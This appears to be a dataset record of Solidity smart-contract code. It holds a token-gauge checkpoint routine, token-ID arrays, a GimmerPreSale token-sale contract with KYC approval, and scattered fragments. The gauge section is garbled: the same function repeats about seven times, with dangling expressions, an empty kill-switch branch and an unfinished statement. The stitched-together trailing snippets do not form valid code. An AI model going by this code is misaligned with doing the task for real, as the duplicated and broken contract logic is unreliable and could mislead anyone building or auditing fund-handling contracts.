_prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } } else { } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } function _checkpoint(address _addr) internal { CheckPointParameters memory _st; _st.period = period; _st.period_time = period_timestamp[_st.period]; _st.integrate_inv_supply = integrate_inv_supply[_st.period]; _st.rate = inflation_rate; _st.new_rate = _st.rate; _st.prev_future_epoch = future_epoch_time; if (_st.prev_future_epoch >= _st.period_time) { future_epoch_time = insure_token.future_epoch_time_write(); _st.new_rate = insure_token.rate(); inflation_rate = _st.new_rate; } controller.checkpoint_gauge(address(this)); uint256 _working_balance = working_balances[_addr]; uint256 _working_supply = working_supply; if (is_killed) { } if (block.timestamp > _st.period_time) { uint256 _prev_week_time = _st.period_time; uint256 _week_time; unchecked { _week_time = min( ((_st.period_time + WEEK) / WEEK) * WEEK, block.timestamp ); } for (uint256 i; i < 500;) { uint256 _dt = _week_time - _prev_week_time; uint256 _w = controller.gauge_relative_weight( address(this), (_prev_week_time / WEEK) * WEEK ); if (_working_supply > 0) { if ( _st.prev_future_epoch >= _prev_week_time && _st.prev_future_epoch < _week_time ) { _st.integrate_inv_supply += (_st.rate * _w * (_st.prev_future_epoch - _prev_week_time)) / _working_supply; _st.rate = _st.new_rate; _st.integrate_inv_supply += (_st.rate * _w * (_week_time - _st.prev_future_epoch)) / _working_supply; _st.integrate_inv_supply += (_st.rate * _w * _dt) / _working_supply; } if (_week_time == block.timestamp) { break; } _prev_week_time = _week_time; _week_time = min(_week_time + WEEK, block.timestamp); unchecked { ++i; } } } _st.period += 1; period = _st.period; period_timestamp[_st.period] = block.timestamp; integrate_inv_supply[_st.period] = _st.integrate_inv_supply; (_working_balance * (_st.integrate_inv_supply - integrate_inv_supply_of[_addr])) / 10 ** 18; integrate_inv_supply_of[_addr] = _st.integrate_inv_supply; integrate_checkpoint_of[_addr] = block.timestamp; } integrate_fraction[_addr] += function user_checkpoint(address _addr) external returns(bool) { require( (msg.sender == _addr) || (msg.sender == address(minter)), "dev: unauthorized" ); _checkpoint(_addr); _update_liquidity_limit(_addr, balanceOf[_addr], totalSupply); return true; } function claimable_tokens(address _addr) external returns(uint256) { _checkpoint(_addr); return (integrate_fraction[_addr] - minter.minted(_addr, address(this))); } function kick(address _addr) external { uint256 _t_last = integrate_checkpoint_of[_addr]; uint256 _t_ve = voting_escrow.user_point_history__ts( _addr, voting_escrow.get_user_point_epoch(_addr) ); uint256 _balance = balanceOf[_addr]; require( voting_escrow.balanceOf(_addr, block.timestamp) == 0 || _t_ve > _t_last, "dev: kick not allowed" ); require( working_balances[_addr] > (_balance * TOKENLESS_PRODUCTION) / 100, "dev: kick not needed" ); _checkpoint(_addr); _update_liquidity_limit(_addr, balanceOf[_addr], totalSupply); } function set_approve_deposit(address _addr, bool can_deposit) external { approved_to_deposit[_addr][msg.sender] = can_deposit; } function deposit(uint256 _value, address _addr) external nonReentrant { if (_addr != msg.sender) { require(approved_to_deposit[msg.sender][_addr], "Not approved"); } _checkpoint(_addr); if (_value != 0) { uint256 _balance = balanceOf[_addr] + _value; uint256 _supply = totalSupply + _value; balanceOf[_addr] = _balance; totalSupply = _supply; _update_liquidity_limit(_addr, _balance, _supply); require(template.transferFrom(msg.sender, address(this), _value)); } emit Deposit(_addr, _value); } function deposit(uint256 _value, address _addr) external nonReentrant { if (_addr != msg.sender) { require(approved_to_deposit[msg.sender][_addr], "Not approved"); } _checkpoint(_addr); if (_value != 0) { uint256 _balance = balanceOf[_addr] + _value; uint256 _supply = totalSupply + _value; balanceOf[_addr] = _balance; totalSupply = _supply; _update_liquidity_limit(_addr, _balance, _supply); require(template.transferFrom(msg.sender, address(this), _value)); } emit Deposit(_addr, _value); } function deposit(uint256 _value, address _addr) external nonReentrant { if (_addr != msg.sender) { require(approved_to_deposit[msg.sender][_addr], "Not approved"); } _checkpoint(_addr); if (_value != 0) { uint256 _balance = balanceOf[_addr] + _value; uint256 _supply = totalSupply + _value; balanceOf[_addr] = _balance; totalSupply = _supply; _update_liquidity_limit(_addr, _balance, _supply); require(template.transferFrom(msg.sender, address(this), _value)); } emit Deposit(_addr, _value); } function withdraw(uint256 _value) external nonReentrant { _checkpoint(msg.sender); uint256 _balance = balanceOf[msg.sender] - _value; uint256 _supply = totalSupply - _value; balanceOf[msg.sender] = _balance; totalSupply = _supply; _update_liquidity_limit(msg.sender, _balance, _supply); require(template.transfer(msg.sender, _value)); emit Withdraw(msg.sender, _value); } function integrate_checkpoint() external view returns(uint256) { return period_timestamp[period]; } function kill_me() external onlyOwner { is_killed = !is_killed; } function min(uint256 a, uint256 b) internal pure returns(uint256) { return a < b ? a : b; } }
618,711
[ 1, 20723, 4894, 317, 8027, 317, 848, 443, 1724, 35, 1021, 17683, 353, 358, 506, 7752, 358, 4604, 225, 163, 235, 109, 12, 5141, 225, 11013, 342, 2078, 3088, 1283, 3681, 13, 628, 374, 21364, 9776, 4826, 924, 854, 16555, 316, 4971, 434, 3832, 27789, 635, 404, 73, 2643, 404, 73, 2643, 225, 225, 163, 235, 109, 12, 5141, 12, 88, 13, 342, 2078, 3088, 1283, 12, 88, 13, 3681, 13, 628, 374, 21364, 9776, 404, 73, 2643, 225, 225, 163, 235, 109, 12, 5141, 12, 88, 13, 342, 2078, 3088, 1283, 12, 88, 13, 3681, 13, 628, 261, 2722, 67, 1128, 13, 21364, 9776, 225, 163, 235, 109, 12, 12296, 225, 4993, 12, 88, 13, 342, 2078, 3088, 1283, 12, 88, 13, 3681, 13, 628, 374, 21364, 9776, 27845, 4993, 225, 268, 273, 1818, 1300, 434, 276, 9896, 1534, 1758, 358, 5672, 2, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 511, 18988, 24237, 18941, 353, 868, 8230, 12514, 16709, 288, 203, 565, 871, 4019, 538, 305, 12, 2867, 8808, 2893, 16, 2254, 5034, 460, 1769, 203, 565, 871, 3423, 9446, 12, 2867, 8808, 2893, 16, 2254, 5034, 460, 1769, 203, 565, 871, 2315, 48, 18988, 24237, 3039, 12, 203, 3639, 1758, 729, 16, 203, 3639, 2254, 5034, 2282, 67, 12296, 16, 203, 3639, 2254, 5034, 2282, 67, 2859, 1283, 16, 203, 3639, 2254, 5034, 5960, 67, 12296, 16, 203, 3639, 2254, 5034, 5960, 67, 2859, 1283, 16, 203, 3639, 2254, 5034, 331, 17128, 67, 12296, 16, 203, 3639, 2254, 5034, 331, 17128, 67, 4963, 203, 565, 11272, 203, 203, 565, 2254, 5034, 5381, 14275, 26005, 67, 8025, 1212, 27035, 273, 8063, 31, 203, 565, 2254, 5034, 5381, 9784, 4005, 67, 16777, 49, 3079, 273, 21451, 380, 5045, 31, 203, 565, 2254, 5034, 5381, 26664, 273, 1666, 3028, 17374, 31, 203, 203, 565, 6246, 2761, 1071, 1131, 387, 31, 203, 565, 467, 382, 2055, 1345, 1071, 316, 2055, 67, 2316, 31, 203, 565, 467, 654, 39, 3462, 1071, 1542, 31, 203, 565, 13102, 8305, 2933, 1071, 2596, 31, 203, 565, 21602, 17128, 6412, 492, 1071, 331, 17128, 67, 742, 492, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 11013, 951, 31, 203, 565, 2254, 5034, 1071, 2078, 3088, 1283, 31, 203, 565, 2254, 5034, 1071, 3563, 67, 12015, 67, 957, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 1426, 3719, 1071, 20412, 67, 869, 67, 323, 2 ]
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; mapping(address => uint256) balances; function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } // Transfer is disabled for users, as these are PreSale tokens //function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Gimmer PreSale Smart Contract * @author [email protected], [email protected] */ contract GimmerPreSale is ERC20Basic, Pausable { using SafeMath for uint256; /** * @dev Supporter structure, which allows us to track * how much the user has bought so far, and if he's flagged as known */ struct Supporter { uint256 weiSpent; // the total amount of Wei this address has sent to this contract bool hasKYC; // if the user has KYC flagged } mapping(address => Supporter) public supportersMap; // Mapping with all the campaign supporters address public fundWallet; // Address to forward all Ether to address public kycManager; // Address that manages approval of KYC uint256 public tokensSold; // How many tokens sold in PreSale uint256 public weiRaised; // amount of raised money in wei uint256 public constant ONE_MILLION = 1000000; // Maximum amount that can be sold during the Pre Sale period uint256 public constant PRE_SALE_GMRP_TOKEN_CAP = 15 * ONE_MILLION * 1 ether; //15 Million GMRP Tokens /* Allowed Contribution in Ether */ uint256 public constant PRE_SALE_30_ETH = 30 ether; // Minimum 30 Ether to get 25% Bonus Tokens uint256 public constant PRE_SALE_300_ETH = 300 ether; // Minimum 300 Ether to get 30% Bonus Tokens uint256 public constant PRE_SALE_3000_ETH = 3000 ether;// Minimum 3000 Ether to get 40% Bonus Tokens /* Bonus Tokens based on the ETH Contributed in single transaction */ uint256 public constant TOKEN_RATE_25_PERCENT_BONUS = 1250; // 25% Bonus Tokens, when >= 30 ETH & < 300 ETH uint256 public constant TOKEN_RATE_30_PERCENT_BONUS = 1300; // 30% Bonus Tokens, when >= 300 ETH & < 3000 ETH uint256 public constant TOKEN_RATE_40_PERCENT_BONUS = 1400; // 40% Bonus Tokens, when >= 3000 ETH /* start and end timestamps where investments are allowed (both inclusive) */ uint256 public constant START_TIME = 1511524800; //GMT: Friday, 24 November 2017 12:00:00 uint256 public constant END_TIME = 1514894400; //GMT: Tuesday, 2 January 2018 12:00:00 /* Token metadata */ string public constant name = "GimmerPreSale Token"; string public constant symbol = "GMRP"; uint256 public constant decimals = 18; /** * @dev Modifier to only allow KYCManager */ modifier onlyKycManager() { require(msg.sender == kycManager); _; } /** * Event for token purchase logging * @param purchaser who bought the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); /** * Event for minting new tokens * @param to The person that received tokens * @param amount Amount of tokens received */ event Mint(address indexed to, uint256 amount); /** * Event to log a user is approved or disapproved * @param user User who has been approved/disapproved * @param isApproved true : User is approved, false : User is disapproved */ event KYC(address indexed user, bool isApproved); /** * Constructor * @param _fundWallet Address to forward all received Ethers to * @param _kycManagerWallet KYC Manager wallet to approve / disapprove user's KYC */ function GimmerPreSale(address _fundWallet, address _kycManagerWallet) public { require(_fundWallet != address(0)); require(_kycManagerWallet != address(0)); fundWallet = _fundWallet; kycManager = _kycManagerWallet; } /* fallback function can be used to buy tokens */ function () whenNotPaused public payable { buyTokens(); } /* @return true if the transaction can buy tokens, otherwise false */ function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= START_TIME && now <= END_TIME; bool higherThanMin30ETH = msg.value >= PRE_SALE_30_ETH; return withinPeriod && higherThanMin30ETH; } /* low level token purchase function */ function buyTokens() whenNotPaused public payable { address sender = msg.sender; // make sure the user buying tokens has KYC require(userHasKYC(sender)); require(validPurchase()); // calculate token amount to be created uint256 weiAmountSent = msg.value; uint256 rate = getRate(weiAmountSent); uint256 newTokens = weiAmountSent.mul(rate); // look if we have not yet reached the cap uint256 totalTokensSold = tokensSold.add(newTokens); require(totalTokensSold <= PRE_SALE_GMRP_TOKEN_CAP); // update supporter state Supporter storage sup = supportersMap[sender]; uint256 totalWei = sup.weiSpent.add(weiAmountSent); sup.weiSpent = totalWei; // update contract state weiRaised = weiRaised.add(weiAmountSent); tokensSold = totalTokensSold; // finally mint the coins mint(sender, newTokens); TokenPurchase(sender, weiAmountSent, newTokens); // and forward the funds to the wallet forwardFunds(); } /** * returns the rate the user will be paying at, * based on the amount of wei sent to the contract */ function getRate(uint256 weiAmount) public pure returns (uint256) { if (weiAmount >= PRE_SALE_3000_ETH) { return TOKEN_RATE_40_PERCENT_BONUS; } else if(weiAmount >= PRE_SALE_300_ETH) { return TOKEN_RATE_30_PERCENT_BONUS; } else if(weiAmount >= PRE_SALE_30_ETH) { return TOKEN_RATE_25_PERCENT_BONUS; } else { return 0; } } /** * send ether to the fund collection wallet * override to create custom fund forwarding mechanisms */ function forwardFunds() internal { fundWallet.transfer(msg.value); } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > END_TIME; } /** * @dev Approves an User's KYC * @param _user The user to flag as known */ function approveUserKYC(address _user) onlyKycManager public { Supporter storage sup = supportersMap[_user]; sup.hasKYC = true; KYC(_user, true); } /** * @dev Disapproves an User's KYC * @param _user The user to flag as unknown / suspecious */ function disapproveUserKYC(address _user) onlyKycManager public { Supporter storage sup = supportersMap[_user]; sup.hasKYC = false; KYC(_user, false); } /** * @dev Changes the KYC manager to a new address * @param _newKYCManager The new address that will be managing KYC approval */ function setKYCManager(address _newKYCManager) onlyOwner public { require(_newKYCManager != address(0)); kycManager = _newKYCManager; } /** * @dev Returns if an users has KYC approval or not * @return A boolean representing the user's KYC status */ function userHasKYC(address _user) public constant returns (bool) { return supportersMap[_user].hasKYC; } /** * @dev Returns the weiSpent of a user */ function userWeiSpent(address _user) public constant returns (uint256) { return supportersMap[_user].weiSpent; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) internal returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } }
* @dev Supporter structure, which allows us to track how much the user has bought so far, and if he's flagged as known/
struct Supporter { } uint256 public constant ONE_MILLION = 1000000; string public constant symbol = "GMRP"; uint256 public constant decimals = 18;
7,217,324
[ 1, 3088, 7988, 3695, 16, 1492, 5360, 584, 358, 3298, 3661, 9816, 326, 729, 711, 800, 9540, 1427, 10247, 16, 471, 309, 3904, 1807, 2982, 2423, 487, 4846, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 3425, 7988, 288, 203, 565, 289, 203, 203, 203, 565, 2254, 5034, 1071, 5381, 15623, 67, 49, 15125, 1146, 273, 15088, 31, 203, 565, 533, 1071, 5381, 3273, 273, 315, 43, 23464, 52, 14432, 203, 565, 2254, 5034, 1071, 5381, 15105, 273, 6549, 31, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/56/0x2375d2cE126FF229Cf706556bFA15aa26186928e/sources/contracts/UVPoolFactory.sol
Set factory Reserve address
function setFactoryReserve(address _factoryReserve) public onlyRole(ADMIN_ROLE) { factoryReserve = _factoryReserve; }
3,246,429
